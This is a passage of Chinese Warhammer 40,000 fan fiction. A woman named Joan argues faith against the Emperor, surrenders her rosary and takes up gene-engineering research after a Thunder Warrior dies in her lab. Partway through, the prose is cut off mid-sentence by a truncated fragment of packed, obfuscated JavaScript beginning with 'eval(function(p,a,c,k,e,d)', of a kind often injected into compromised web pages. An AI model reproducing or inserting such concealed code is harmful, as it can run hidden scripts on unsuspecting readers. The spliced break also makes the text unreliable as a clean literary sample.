“比方说,”他叹了口气,“从普通人,受过良好教育,有道德标准的视角来看,活祭和杀戮是不道德且愚蠢的。然而,若以信仰的标准来看,这种行为在宗教的体系内可能会被解释为理所当然。就像那些古印加人的祭祀行动,他们认为牺牲是一种对神的忠诚,是一种神圣的行为。哈,而我们,被这些牧师、祭司称为无信者的外人,能算是什么人?竟然用我们自己的标准去评判‘神圣的宗教’行为?”他讽刺地哼了一声,继续道:“被印加人献祭的无数少女们或许自认为奉献生命是一种虔诚,假设其中一个小女孩是一个忠诚的信仰者,她从小就在这种宗教熏陶中成长。荣耀和巫祭的教导使她并不觉得这是一种牺牲,而是期待着进入一个更加永恒的存在。我们又能如何理解她的选择?我们或许认为她的行为愚昧,但她可能在那时的心境中,看到的只是对神的献身,信仰使她感到骄傲和荣幸。但如果——如果我们提供了她更多的事实,如果所有人都知道并且告诉她,太阳并非什么神明,而是一颗巨大的天体,温度远远超过常人的承受极限,正通过核聚变释放能量。当她得知,太阳的存在只是一个漫长宇宙演变过程的一部分,你觉得她还会心甘情愿地去死吗?” 琼安想要说话,却被他用手势打断:“你信仰的神,你的宗教,只是依赖于人类的无知和恐惧,它在不断地束缚你,就像印加人和他们的太阳,将你困于虚假的荣耀与希望之中。你以为它能拯救你,却未曾发现,这种信仰才是让人类堕落的根源。教徒们认为他们的信仰是不容置疑的,因为他们宣称他们从神的圣书中得到“真理”,但是这种真理只不过是人类的自欺欺人,我所摧毁的宗教数不胜数,每一个宗教都认为他们掌握了真理,每一个教派都觉得他们才是正统,这些团体居然认为它们拥有某种神所赐予的权力,而我做出的每个决策都在冥冥之中被这些神在暗中所掌控。宗教早已无法适应现实,它的滞后与狭隘阻碍了人类的发展。在科学的世界里,人们因为某个论点有无数证据支持便相信它;然而,一旦有新证据能推翻过往的论点,人们会毫不犹豫地抛弃旧的认知,接纳新的。而宗教信仰,不论多少证据与它冲突,它们都从不动摇。科学的进步则是基于质疑和证据的不断推敲,可神的真理已被固化成不容改变的定律。它的固步自封将人类困在了一个虚构的世界,无法面对现实的挑战与责任。如果我们已经对外部世界有了足够的了解,知道了更多的真理和可能性,那么为何还要依赖这些虚幻的神明?我无法理解,为什么会有那么多人甘心为一个看不见摸不着的神明献上自己的一切,甚至是生命。而这份信仰,如果没有理性的支撑,那又怎能称得上为“真理”?它不过是人类心中对未知的恐惧、对现实的逃避罢了。” “若宗教真能拯救人类,那为何它所带来的却是无尽的争斗与痛苦?不,宗教的存在,只是人类无法正视自己的恶与软弱的产物。它使得人们将罪恶归咎于他人,拒绝自我反省,拒绝面对真正的挑战。人类不需要神来救赎,他们自己才是自己的拯救者。” “你错了,至少,你的前提本身就是错误的。”她缓缓地抬起手,指尖轻敲桌面,仿佛要将思绪一点点剖析开来,“你认为,只要人类齐心协力,就不会有争斗,历史就不会重演。可是,人类的割裂根本上并不是因为信仰,而是因为人性本身带来的欲望、恐惧和有限的理性。即使没有宗教,人类依旧会为了土地、资源、权力和意识形态而彼此冲突。” 她停顿片刻,目光沉稳:“你看历史上那些最血腥的斗争,不乏以无神论和理性主义之名进行的暴行。各式各样的革命、战争与清洗....它们都试图摧毁信仰,推翻‘迷信’,追求所谓的理性团结,可是最终呢?它们真的消除了冲突,抑或只是创造了新的暴君?泰拉纷争的这几千年,即使在毫无宗教的地区,将某一位或者多位领导者的塑像挂起来,当作神一样膜拜的事情也十分常见。人类的天性让他们寻求更高等的存在从而得到保护与指引,错误的引导者会带来错误的方向,从而导致错误的结果。” “你试图将宗教和理性对立起来,仿佛信仰只是一种盲目的、没有逻辑的服从,而理性则是唯一通往真理的途径。但真正的信仰,并不是拒绝理性,而是在理性的基础上,承认人类的有限性,并指向更高的智慧。理性与信仰是相互辅佐,相互论证的东西,正如硬币的两面,却少了任何一方都会导致整个体系的不成立。人类科技最巅峰的时期是多么理性,多么骄傲啊!那时整座城市都找不到一个合适的教堂,随着人们拥有了掌握银河的力量,过去的宗教场所都被遗弃了,无神论者常说宗教是文明的摇篮,当人类迈入宇宙的时候,这个摇篮就不再被需要了。可是呢?如果这种说法是正确的,如果理性与自我的进步是完美的路,为什么你和我现在会站在这里,站在被铁人战争摧毁的废土上?” 她的手指轻轻摩挲着掌心的念珠,声音低缓:“即使你向那位被献祭的少女讲述所有关于太阳的科学真相,这是否就能否定她内心对神圣的渴望?人类对于超越自我的追求,对于死亡之后意义的探寻,难道仅仅是因为无知?你举的例子只是针对那些被扭曲的宗教实践,却没有理解:真正的信仰并不是狭隘的盲从,而是一种对善、对意义、对超越性的追求。我们不会因为一个医生的误诊而否定整个医学的价值,为什么要因为宗教的误用就否定信仰本身?说真的,我不明白。你的目的已经达成了,恐怕再过一两代,就不会再有人记得曾经的宗教。除了我之外,不会再有人向天空祈祷。” “是啊,既然如此那为什么你就不肯放过我呢?难道我没有在你摧毁这一切的时候保持沉默吗?难道我没有将你不允许的事物藏在大众的视线之外吗?我可曾公开斥责过你,让人们觉得你我意见相左吗?自从你邀我步入这雷霆与火焰中,我就再也没有公开地宣道,人们早就不记得我曾持有什么信仰,甚至都没有见过这个!”珠链被她紧攥于手心,琼安十指相扣,指关节被攥得发白:“为什么你总是一而再再而三地步步紧逼,如此强硬地剥夺这一切呢?直到我除了你以外,再也没有退路。” 帝皇深沉的眼神定格在琼安身上,他的目光如淬火后的剑锋抵住她咽喉,让她感到一阵窒息。 “亚空间,”他开始缓缓道出每一个字,“我曾亲自航行至银河与深空,在那无尽的黑暗与未知之间,我找寻过一个人类的答案。” 他静默片刻,目光凝视远方,仿佛在回忆那一段长久的旅程。“在那片空无的深渊中,我亲眼见到了。我看到了什么?那里没有神。没有温暖的光,没有掌控一切的主宰,只有永恒的虚无和空洞的宇宙。在那里,每一个崇高的愿望、每一个被神圣化的行为,在深空中都会被无情地变形,扭曲成最恶心的伪装。爱被转化为对权力的依赖,信仰被利用为束缚心灵的枷锁。那些最初源自善良的意图,最终都会被剥离成空洞的工具,用来引诱,操控,甚至摧毁。” “你所追求的一切,不过是亚空间编织的谎言,琼安。我曾见过许多在最初只是虔诚的人,带着清澈的心志与坚定的信念,施舍救助贫民。然而深埋于亚空间的谎言们早已为他们不射好了陷阱,它们耐心地默默等待,直到着他的软弱与欲望暴露。然后以最巧妙的方式,给予了他一点点甜头,让他步入了深渊。他在最初像你一样,满怀着为他人奉献的理想,然而随着时间的推移,那些糖果一样的好处变成更为复杂的诱惑。当他所做的一切最终被现实所证明时,便开始变得极端。他用更多的牺牲来换取所谓的‘神的旨意’,甚至牺牲了无辜的生命,换取了所谓的‘神迹’与力量。” 帝皇略微低下头沉默了几秒,而后才继续以更加冷酷的语气讲述:“你可曾思考过这些牺牲背后的真正面目?那些联合主教,神父,圣徒,最终不再是一个个乐善好施的人,而是被扭曲成了血腥的统治者。亚空间,以它邪恶的手段和无形的力量,腐蚀了他的信念,令他一步步沉沦。它给予他力量,让他所求皆能实现,然而随着信徒的增加,他的祭品也愈加残忍。当他信奉的‘神’要求更多的鲜血时,他毫不犹豫地屠戮,直到他自己也无法控制那股力量。” “亚空间,”他靠近琼安,声音压得更低,“它以恐惧为契机,以无知为载体,哄骗你们走上这条死路。看吧,这正是你们所追求的‘信仰’的真实面目——你所认为的神明和信仰,不过是亚空间力量的工具。” “你可能会相信那是为了‘真理’,为了‘神的旨意’,但这一切不过是邪恶的幻觉,它会通过你的信念,慢慢操控你,引导你做出你从未想过的事。你的‘神’只是亚空间的化身,而你,正是它们的祭品。” “那么您要像其他政客杀死反对者那样,清除所有的反对派吗?如果有人与你的意见相左,你就要杀掉他们吗?雷霆战士们杀死教徒的方式与你谴责的宗教审判无异,你的计划不过是将人类视为待修剪的荆棘。” “你所造成的这种残暴,难道不会同样地哺育亚空间的邪神吗?” 她抬起眼,看向那位立于金色光辉中的身影,直视着那双见证过无数战争与牺牲的眼睛。 “你斩断信仰,摧毁教堂,焚烧圣典,屠灭虔诚者,誓要将人类从虚假的神灵中解放出来,可这一切……这一切,难道不会反过来成为亚空间的养料?痛苦、绝望、愤怒、恐惧,按照你先前所说的话,这些正是它们最喜悦的供奉,而你的帝国,你的战争,难道不正是这些情绪最丰盛的温床?你所宣称要抹除的一切,是否正以另一种方式,在你的统治下愈发壮大?” 玉质的念珠硌着掌心,带来微凉的痛楚,她深吸了一口气: “如果信仰是一种毒瘤,那你要用鲜血来治愈它吗?如果迷信是无知的枷锁,那你就要用剑刃来斩断它吗?你所做的一切....真的能让人类摆脱亚空间的阴影,而不是让它们在另一片黑暗中更深地扎根?” 帝皇冷笑,那笑意中带着令人不寒而栗的平静:“你已经被这种美丽的谎言诱惑,琼安,这正是亚空间给予你的幻觉。当你意识到这一切时,也许已经为时已晚。不要误解我的意图,因为你眼中的残忍,不过是清除这腐败的必要手段。人类文明就如同一具身躯,它承载着无数的恶性肿瘤与恶疾。而这些‘病态’一直以来都被视为理所当然的存在,滋生、蔓延,最终毁灭整个体系。” 他微微眯眼,似乎在凝视远方的某个模糊的未来:“为了救赎这具身躯,必须剜去这些腐败,必须清除掉一切不再有价值的部分。这不是为了满足某种恶意,而是为了人类文明的重生。是的,过程会痛苦,甚至是血腥的,但这正是为了消除肆虐的毒瘤,消除那些将世界拖入深渊的恶性力量。你所看到的,是你想象中的道德情感与理性的冲突。而现实却残酷得多。你不该为此感到愧疚,因为你所经历的痛苦,只是这条必经之路的一部分。当腐化的部分被斩断,新的秩序才能得以建立。” “我们无法避免痛苦,”他继续说道,声音沉稳,“就像我们无法逆转腐化的进程。唯有让一切腐朽的事物灰飞烟灭,新的生命才得以诞生。为了更高的理想,为了更广阔的未来,所有的牺牲都是必要的。真正的变革从来不可能是温和的,现实是血腥的,它从不眷顾那些软弱与犹豫的人。” “你和我,我们都曾经历数次死亡。而在那之后,没有天堂,没有救赎,只有无尽的恶意和扭曲。”他继续回答道,“你真的确信你所信仰的救赎便是真理吗?在旧日的时代,你也曾见证过人类在银河的航道中航行,也曾直面过,见证过泰拉处于纷争时,那些扭曲的恶意。所谓圣徒,所谓的信仰,只会让人类最容易成为亚空间寄生虫的培养基。看看印尼联合主角唐吧,你在所亲手斩落的‘异端’头颅,被扭曲的所谓‘牧师’的血液里闻到了它的气味,亚空间的气味,你亲手撕裂所有的谎言,转头又沉溺进它编织的那些幻梦里,却还以为自己清醒。你信什么,因为什么祈祷并不重要,重要的是你的意志在这过程中沉沦,不断地滋养它们,让它们得以因这些信仰造成的痛苦而满足。” 他低声附在她耳边,语气冷静而残忍:“现在告诉我,琼安,你还相信宇宙之外,有充满善意的地方吗?有所谓的天堂吗?” 她沉默了,久久不语。或许她真的错了,或许她不该如此愚钝。像是抱着最后一丝希望般的,琼安垂下眸子:“没有别的办法了吗?” “在此时谈论古时代的政策是不合时宜的,人类若想自救,唯有统一。” 而后,他再一次朝琼安伸出了手,琼安颤抖着抬起头,正好撞进那双熟悉而陌生的眸子里。 那双如黄金般照亮她踽踽独行之旅的眼睛,如今是多么冰冷呀!冷冽得刺骨,削去所有柔和,如同一轮不会给予任何温度的太阳,在那黑暗的眸中,映射出她自己的身影。然而其中没有任何光辉,只有那无尽的银河燃烧后的余烬在漆黑中缓缓熄灭。那是一双亲眼目睹了黑暗的眼睛,一双直面了所有不可名状却依旧保持理性的眼睛,它们曾亲自丈量无数王朝倾塌的烟尘与王冠坠地的轨迹,将人间苦痛锻造成眼底的暗色,让所有战栗与嘶吼坠入瞳孔深处,却始终映不出一丝偏离命定轨道的涟漪。 啊....现在她明白他的意思了,彻底的明白了。他已经毁掉了所有教堂,将经卷与典籍都付之一炬,不论那出于何种残忍的原因,他都认为那是极为必要,且没有任何例外的。他允许她仍旧保有信仰,直到现在才亲自驯化她的顽固,已经是一种恩典。 于是琼安深吸了一口气,递出了那串她自幼时便带在身边,早已记不清更换几次编绳的玉石玫瑰念珠,看着他将那被她抵在唇边亲吻并祈祷数次,虔诚地摩挲着的小小圣像从链珠上拆下,仅轻轻一握,那块圆润的玉石便化为了粉齑。她挪开视线,不忍再看他毁掉其余的部分,可他却将剩余的念珠还给了她,沉甸甸的重量仍然感觉不真实,她摊开手看了看,原来过去曾挂着圣像的部分,被他替换成了一个纯金制的帝国天鹰。 “你仍然可以保有它,”帝皇解释,“但仅作对过去的怀念。” 季琼安什么也没说,只是轻轻点了点头,目送着他离开。她需要一些时间,慢慢地平复内心的波动。 泰拉是一片从未平息过的战场,而此时此刻,胜利的旗帜还未稳固,新的冲突已经在地平线上燃起暗火。城市的废墟中回响着修复机器的轰鸣,工厂加班运作,拼装着下一批武器,铁锤敲击金属的声音混杂着通讯器里源源不断的命令——一切都未曾停歇,亦不允许停歇。 纷争的号角不停,士兵在整备、补给、重新编制,等待被送往下一个战区;新上任的官员昼夜不眠,调度资源,处理战后秩序的重建,同时镇压偶尔发生的暴乱;管理员们步履匆匆,在各大军械库间穿梭,高塔中的战略会议从未中断,屏幕上闪烁着泰拉各处的战况,红色的警示标记依旧密布,帝皇的伟业尚未完成,战争仍未结束,而所有人都知道,这仅仅是个开始。 不忙的时候,琼安时常沉默地端详那枚天鹰在光影间微微颤动,似乎在无声地嘲弄着她的迟疑。而她握紧念珠,指尖隐隐泛白。她目睹他亲手摧毁了她曾信奉的信仰,将其碎片碾入尘埃,又以他所勾勒的未来与理想取而代之——那是属于人类的,属于帝皇的,唯一的真理。她凝视着他缓缓戴上那层镀金的面具,将曾经的本质藏匿于华美而冷酷的暴君之下,遮掩于无数宛如圣坛或者圣像的标语和口号之后,以及嘹亮的咏叹与狂热的赞美之间。 要让人们信仰一条真理,便必须先摧毁其他所有的真理。玉质的念珠再次绕上她的指间,厚重的金鹰坠子紧贴着她的手臂,一片冰凉。 该祈祷了,她想,可是向谁呢? 繁忙的事务并未留给琼安太多时间沉溺于思考。战后的余烬尚未冷却,未竟的战争依旧燃烧,帝国的齿轮在废墟与鲜血之上轰然运转,每个人都被推着向前,无暇停步。命令如潮水般涌来,文书堆积如山,谈判、整编、裁决、清算……太多事情都催促着她向前,不容她驻足片刻。 或许是因为习惯性地披上那件曾带领文明保护区,被称为保民之主的外衣,很快,帝皇的新指令就将琼安调离了曾经的岗位,要求她彻底的开始负责基因工程的研究。泰拉纷争时期留下的阴影,使基因编辑一事在她心中仍然带有相当残酷的印象。她曾亲眼见过那些被改造失败的个体,见过那些在实验台上痛苦扭曲、最终被无声抛弃的生命。每当对上他们空洞的,濒死的眼睛,她都会想起第一次解剖小白鼠时,柳叶刀握在手心里的冰冷与沉重。 当她还被称为“保民之主”的时候,他们仍然能够动用各式各样的科技,在庞大浩瀚的藏书库中翻阅适合的文献,以此支撑当下的决策。医疗被视作守护人类的手段——用来治愈、维系生命,帮助他们度过那段动荡不安的岁月。她会花费大量时间去评估资源的分配,去平衡秩序与自由,去维护知识的流通与共享。科学仍然属于所有人,它与他们的信仰相辅相成,是人类用以战胜苦难的工具,而非权力者手中的审判之剑。医学可以治愈受伤的士兵,增强个体的平均水平,修改先天的缺陷,基因工程技术更是能让原本残损的个体恢复至健康,甚至更强悍,更完美。 但纵使琼安手下的人们如何恳求,甚至以威胁相逼,她也始终未曾开放过任何深入的研究。太多以“理性”之名行使的暴行发生在泰拉的土地上,太多为了“更伟大的未来”而牺牲的个体徒劳地泼洒了他们的鲜血。泰拉纷争的阴影仍然盘踞在她的记忆里,那些因基因改造失败而化为畸形的生物,那些被当作实验材料的孩子,那些在无菌舱中哭喊着祈求怜悯的人,战场上扭曲而变异的武器....拷问、监禁、惩罚,政治上的阴谋——这些所谓的底线,在现实的洪流面前不过是模糊不清的界限,可以被理智粉碎,被大局碾碎,被所谓的“必要性”无数次跨越。 但对于人类的编辑与改造却并非如此。它不是可以用谎言掩盖的交易,也不是能用政治手腕化解的纷争。当人一旦不再被称为“人”,那还能是什么呢?她可以容忍自己沾染鲜血,可以容忍背负那些所谓“必要性”的罪责,甚至可以在牢狱、拷问与阴谋之中周旋自保。但唯独这件事,她不能——也不愿意——跨越那条底线。 可这次,她无法再拒绝了。 帝皇的意志不容置疑,而他所描绘的未来也确实让她无从反驳,人类若想自立,便必须足够强大,必须拥有能与星辰抗衡的身躯、超越凡人的意志与不朽的基因。一个没有弱者、没有缺陷、完美而纯粹的人类帝国需要无数的骸骨铺路,但是所谓“完美”究竟意味着什么?它是否真的值得她用一切去换取? 她的手指缓缓抚过桌面铺展的研究档案,黑白分明的文字里隐藏着无数未经证实的数据、成百上千的变量与可能的失败案例。琼安深吸了一口气,最终还是低头拿起了笔。 她终究还是迈出了这一步。 雷霆战士,帝皇亲手打造的军队,个个身着闪亮的盔甲,庞大,粗野,蕴含着无穷的野性与战争的暴力。他们是帝国最强大的武器,身躯高大如山岳,力量如同暴风,足以震碎一切敌人。可那如此旺盛而蓬勃的生命力却像过度燃烧的火焰,在某一时刻忽然爆开,随后便极速陷入衰退,风一吹便散去了。内脏开始从里吞吃□□,身躯像恒星一般坍缩,心脏忽然爆裂,亦或者头脑与意识紊乱,随之而来的精神崩溃如山崩海啸,席卷所有来不及躲避之人。 血液中奔流着的,无法控制的嗜血冲动与暴力倾向,对战斗的狂热与渴望让他们变成没有剑鞘也没有保险的武器,他们的战斗力几乎无人能敌,纯粹的暴力毫不留情地摧毁拦路的敌人,但内在却是无法修复的瑕疵,时刻威胁着他们的生命。每一场战斗,几乎都是一次与死亡的较量,每一次出征,都可能是他们最后的一次呼吸。 尽管如此,雷霆战士们的忠诚和勇气却是无可置疑的。他们没有被抹去的情感依旧存在,甚至拥有着与常人相仿的幽默感。在漫长的战争岁月中,他们成了彼此的支撑,情谊如钢铁般牢固,他们热衷于战斗,享受其中的每一刻,不论是战斗时四溅的鲜血还是结束时嘹亮的军歌,哪怕早已知晓自己不过是帝皇手中的工具,机械的一部分。 那天,琼安与一个战士玩牌,他恐怕是唯一一个,还记得琼安手下的士兵与小卡牌游戏的战士。战场上忽然的崩溃导致这个曾经满怀热忱的战士迅速衰败如将熄的火,于是他便成为可以用作于针对□□修复进行研究的实验体,送到了琼安的实验室。 “你还记得那时候我们一起打牌吗?”琼安轻笑着问道,话语中带着些许怀念。她与这位战士相处的时候刻意不会穿研究袍,让长至肩膀的头发随意散落,看起来少了几分学者的干练与冷漠。 战士也跟着笑了起来,胸膛震动着,伴随着笑声回忆那些早已被时间吞噬的瞬间。“你说的是那个‘红心’和‘黑桃’的游戏吧?当然记得。我们输了之后,你还总是笑着惩罚我们,要去捡战场上的弹壳。” 琼安的笑意加深,可惜,他已经没有过去那样挺拔的身姿,盔甲被卸下后,那副曾经被誉为战场上最完美的躯壳如今却显得苍白而虚弱。他的肌肉仍然坚实,却无法掩盖皮肤下逐渐显现的血管突起和那些不正常的颤抖。 “……是啊。” 她低声附和道,手指缓缓拂过桌面,仿佛还能感受到过去的旧友们胡乱拍牌的力道,“那时候……我还以为你们会一直活下去。” 战士的笑声止住了一瞬,他沉闷叹息了一声,带着几分琼安未曾预料到的,有些粗旷的温柔。“您也知道那是不可能的。”他的声音疲惫,却难掩属于战士的骄傲,“我们是为了战争而生的,为了祂而战斗,琼安女士,您一直明白。” 琼安握牌的手指不自觉地收紧,她不喜欢这种感觉——仿佛他们的命运已经被决定,无论她如何努力都无法改变。他们不应该只是“为了战争而生”。他们应该可以活下去,像正常的人一样拥有更长久的时间,像人一样去体验世界,而不是像现在这样,在血与钢的舞台上短暂地燃烧,然后成为研究用的残骸。 但她什么也没说。 战士察觉到了她的沉默,咧开嘴角笑了笑,“嘿,别露出这种表情,保民之主。”他故意用那个旧称呼调侃她,像是想把她从沉思中拉回来,“我们都知道,我们这群人啊,生下来就注定要死在战场上的。但是您不一样,您要在我们看不见的未来给后人创作更多的希望,我们只是为您铺路的人,别因为我们而让自己太难过。” 可他的情况恶化得比她预想的还要快。在短短几天内,他的脉搏变得越来越虚弱,瞳孔的焦距时常难以聚焦,连最基本的交流都开始变得困难,有时过度的挣扎让她不得不给他打入远超规定剂量的药剂,尔达来了,然后又走了,走前叹息着劝她给这位战士一个痛快,一个士兵不该死得如此狼狈,死在战争之外。 于是他死了,死在了实验室里,死在琼安的手下,在她甚至还未来得及找到一个解决方案之前。她的手指沾满了血,护目镜上是溅落的药剂痕迹,而她的内心深处却被一种无可挽回的、压倒性的失落感吞噬。 战士的遗骸被送去进行研究——他至少还能“发挥剩余价值”。 不再有下一个了。望着罐装的福尔马林,琼安咬紧了牙关。 如果这意味着她要彻底投入基因工程,她便义无反顾。如果这意味着她要放弃某些自己曾坚守的东西,她便愿意舍弃。 她不能再一次看着这些人死去,绝对不能。 琼安再次投入工作,这一次以超乎寻常的热情完成每一件实验。帝皇赞许的目光再次向她头投来,有时,很特殊的时刻,她与尔达会被带离实验室,去到战争的中心,一旦他们发现了更多让帝皇分神注视的基因样本,新的工作就会被分派给她和尔达,哦,还有阿玛尔·阿斯塔特。 他们是在一座即将被彻底摧毁的实验设施里发现她的,那时泰拉的战争远比现在要惨烈,还未恢复至眼下相对而言的和平。那里弥漫着刺鼻的腐臭味,混合着消毒药剂与福尔马林的气息,空气沉闷,充斥着死亡与失败的痕迹。成排的容器摆放在金属架上,泡在培养液里的生命体早已变得扭曲,皮肤溃烂,器官在透明的液体中漂浮——它们曾是实验的一部分,如今却成为了腐败的残骸,被抛弃,被遗忘,像是某种未完成的草稿。可帝皇亲自将它们的作者,从满是腐臭与死亡的生活中拯救出来,带到她们面前,带到新生的帝国所庇护 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她花了很久的时间查阅实验记录,一代又一代的实验体们在浸血的液体中挣扎的模样,化作厚厚的一打数据,随时可供翻看。时间成了毫无概念的数字,实验室的嗡鸣伴随短暂的睡眠进入梦中。有时帝皇也会来,简短地发言,指示并纠正所有的错误,或者仅将多余的话语变作落在琼安肩头的轻拍。她并不是在为他工作或者战斗,私底下回想的时候琼安总会在心里默默纠正这一点,但不可否认的是肩膀上或者额头处传来的温暖触感会让她期盼他下一次到来的日期能够提前。 泰拉的夜幕下,实验室的灯光依旧明亮,可帝皇很忙,并不常来。 尔达也渐渐离开了实验室,她被派往更重要的岗位,偶尔才会回来,带着一身风尘和更深的思虑。阿斯塔特则始终沉默,她的存在宛如一块沉甸甸的石头,压在琼安的世界一角,不多言,不表态,只是以那双仿佛能穿透时间的眼睛注视着一切。她们之间的交流寥寥无几,像是彼此心照不宣,又像是都背负着相同的重量,以至于无力再开口。 雷霆战士早已不再增员,这是件好事,至少意味着不再有人会受苦。然而,琼安很少再听到关于他们的消息,实验室的记录档案中,逐渐没有了他们的名字。泰拉的战火逐渐熄灭,可那些曾经在战场上怒吼、以血肉之躯践行忠诚的战士,仿佛被时间彻底抹去。 最激进的一次,她离开了实验室,跑去寻找马卡多,那是深夜,实验室的灯光仍旧亮着,空气中弥漫着消毒药剂的味道,机械的嗡鸣声像是一首无尽的挽歌,在冰冷的金属走廊间回响。她的工作台上还放着未完成的报告,数据终端上的光标一闪一闪,等待着她输入新的分析结果。但她没有回头,甚至连实验服都没来得及脱下,就直接离开了。马卡多在匆忙间见了她,他们谈不上好友,连损友都不太算,见了面总是习惯性地唇枪舌剑一番才肯好好合作,但当琼安用力抛出那个问题以后,此刻的他却仿佛比他皱巴巴的外表看起来还要年迈许多。 “琼安,”她的后辈用疲惫而苍老的目光注视着她,缓慢而沉重地摇了摇头,“别再问啦。” 一种默契带来的理解——如果他们之间能有被称为默契的东西,瞬间席卷了琼安的意识,无须多言她便明白了。不论发生了什么,具体是怎么被执行的,他们都完全地消失掉了,身躯被焚毁,名字被删除,记忆被遗忘。新生的帝国不允许失败的存在,亦不允许动摇秩序的因素在历史里留下印记。 是啊,雷霆战士的存在本就是个错误,他们的基因缺陷导致他们无法长久存活,而一支不稳定的军队,终有一天会反噬其主。 可是,他们曾是他最忠实的战士啊。 他,帝皇,就像这样毫不犹豫地推进自己的计划,建立新的帝国,无论付出何种代价。他不断向前,抛弃那些不再符合他愿景的事物,雷霆战士只是其中之一。可这样的牺牲,真的值得吗?如果连曾经的忠诚都能被随意舍弃,那未来呢?如果今日的雷霆战士能被遗忘,明天,又会是谁? 琼安在一片沉默无言中回到了自己的实验室里,尔达不在,那里没有人能同她说话。她被分配的下属们全都毕恭毕敬,诚惶诚恐,仿佛她是古时候的祭司或者先知,偌大的实验室里只有仪器发出的声音回应她。 渐渐地,多余的声音出现了,那是早在她还行走于泰拉的动荡间便时常听见的声音。那应当只是她疲惫时的错觉,像是某种微风拂过耳畔。然而,随着时间推移,它们开始愈发清晰,愈发具体,带着某种结构与规则,如影随形。 七。 绷带缠绕七次,才会更加牢固,仿佛那是某种古老的医术传统,她的手指会在包扎时不自觉地遵循这个规则;药丸提供七颗,便能祛退瘟疫,仿佛任何多余或不足的剂量都会破坏这条神圣的定律。她试图理性地解释这股执念——或许是工作太久,或许是实验压力太大,或许是某种她尚未察觉的潜在心理暗示。 可是七总是神圣的,不是吗? 神造万物用了六天,而第七日则是安息之日。 她开始在无意间重复这些话,实验室里的空气越来越沉重,每当她凝视那些培养舱时,总觉得其中蕴藏着某种她无法完全理解的力量——既陌生,又令人熟悉。 她开始察觉到自己的手指在整理仪器时,会无意识地敲击桌面,一次,两次....七次。 她在药剂配方上犹豫时,总是下意识地调整比例,使其符合七的倍数。 她的梦境里,某种腐烂却温和的存在轻声细语,诉说着疾病、重生与祝福。 “七是神圣的。” 她一遍遍听见这句话回荡在脑海,某种低沉而慈悲的启示正在逐渐降临。 琼安的手指停留在培养舱的玻璃上,透过淡绿色的液体,在幻觉中她看见雷霆战士们沉眠的身影。他们痛苦,他们衰败,他们的身体承受着基因的重压,像是随时可能崩塌的堡垒。而她呢?她不过是个可怜的修补匠,试图用理智去拼凑一个原本就残缺的神迹。 “你们想要救赎吗?” 低语混杂在实验室的机器嗡鸣里,模糊不清,却直达她的灵魂深处。有那一两个时刻,琼安缓缓闭上了眼睛,几乎要任由那些声音包围自己,带着某种无法抗拒的温柔。 但她最终还是睁开眼。 实验室的冷光灯依旧照耀着,明亮得刺目,驱散了角落里所有可能滋生幻觉的阴影。培养舱里的液体在恒定温度下微微晃动,泡沫沿着玻璃缓缓上升又破裂。琼安站在其中,颤抖的意识逐渐回笼,像是刚刚经历过一场短暂的梦境,或是与某种不可见之物擦肩而过。 她深吸了一口气,强迫自己专注于现实,去查看仪器上的数据,去听那些仍旧活着的实验体们粗重的呼吸,去铭记过去的战士们在战斗后疲惫却依然充满笑意的脸。但是,有些东西已经悄然渗透进来,如同无形的孢子,落在她的思维里,等待合适的时机生根发芽。 在尔达重回实验室之前,唯有那枚冰冷的天鹰坠子成了她唯一的清醒。 它沉甸甸地贴在她的皮肤上,金属冰凉,如一块寒彻心骨的铁石,压得她喘不过气来,却也数次在絮语似潮水般将她席卷时,变成唯一的锚。无孔不入的喃喃声暂时消失了,伴随过去常回响在她耳畔的声音,那些战士们的笑声、赌气、争吵,乃至最后那些支离破碎的遗言....一切都消失了,唯有这枚坠子依然存在,作为是她所能抓住的、仅存的真实。 而在琼安彻底被吞没前,尔达的敏锐救了她。她总能在别人尚未意识到自己的异样时,率先捕捉到那些细微的裂痕。琼安的神情变化,她略显迟疑的手势,甚至偶尔放空的眼神,所有这些微妙的征兆都逃不过尔达的眼睛。 实验室的工作依旧繁忙,可在一切流程之外,尔达总能找到理由将琼安拉回现实。她会带来新收集的样本,与琼安讨论它们的意义;她会在实验记录的间隙递来一杯加了糖的热茶,以不容拒绝的语气要她休息片刻;甚至在极少数的情况下,她会将工作抛诸脑后,拉着琼安走出那冷冽的研究空间,去到泰拉仍旧存留的花园,去看那些即便在战火间也顽强生长的生命。 求生的本能让琼安下意识地抗拒那些低语,而尔达的存在让她的抗拒变得容易了些。 那温暖的、甜腻的、夹杂着腐败气息的声音在她耳边逐渐淡去,不再如影随形地环绕她,或在夜晚于她的梦境中回响。尔达的声音更清晰,更真实。她总是用带着些许讽刺意味的调侃让琼安回过神来,又在真正重要的时刻,给予她最坚定的支持。 “别忘了你是谁。”在某个夜晚,她与琼安并肩时轻声说道,双眼映着培养舱微蓝的光。 琼安抬起头,看到她目光如炬,坚定而深远,穿透所有可能让她沉溺的黑暗。 至少,在这间充斥着理性与科学的实验室里,在那些逐渐被创造、被改造、被赋予新生的生命之间,她仍然是季琼安。 不是低语所期待的“她”。 暮色吞噬白昼时,帝皇的黄金舰船划破云层,光芒如熔金倾泻而下。当他的脚步声在空寂的长廊回荡时,那些在琼安骨髓里扎根的阴郁便应声溃散。帝皇带来了好消息,阿斯塔特女士所造出的战士们仅用六个小时就击溃了月球上的赛琳娜基因教团,而她也记得她们,早在黄金时代她就知道了,因为她也曾到月球进修过医学。从帝皇的口中,琼安得知了她们的近况:不论黄金时代有多么美好,那些人早已变成根植于月球的,将基因与科学当作信仰的狂热信徒,她们崇拜至高演化,相信血肉可以被无限优化,将生命作为实验台上的雕塑,随意剜割、改造,只为追求所谓的“完美”。这固然是好事,基因教的顽固让她想起旧日自己所建的组织,如果某一存在没有任何实力,仅追求将完美封藏,终将在某一时刻迎来陨灭。 可神明的垂怜总如流星过境。当黄金的门扉重新闭合,阴影便似菌丝般再度漫过穹顶。深夜降临时琼安蜷缩在床上,听见自己破碎的呼吸在黑暗中凝结成冰,新的技术带来了新的计划,名为原体的全新武器在帝皇的策划书里悄然破茧,二十个完美的核心,二十个沉重的锚点,如同她那枚天鹰坠子一样,将会稳固所有新造的兵团。 而在所有人之中,他选择了尔达。 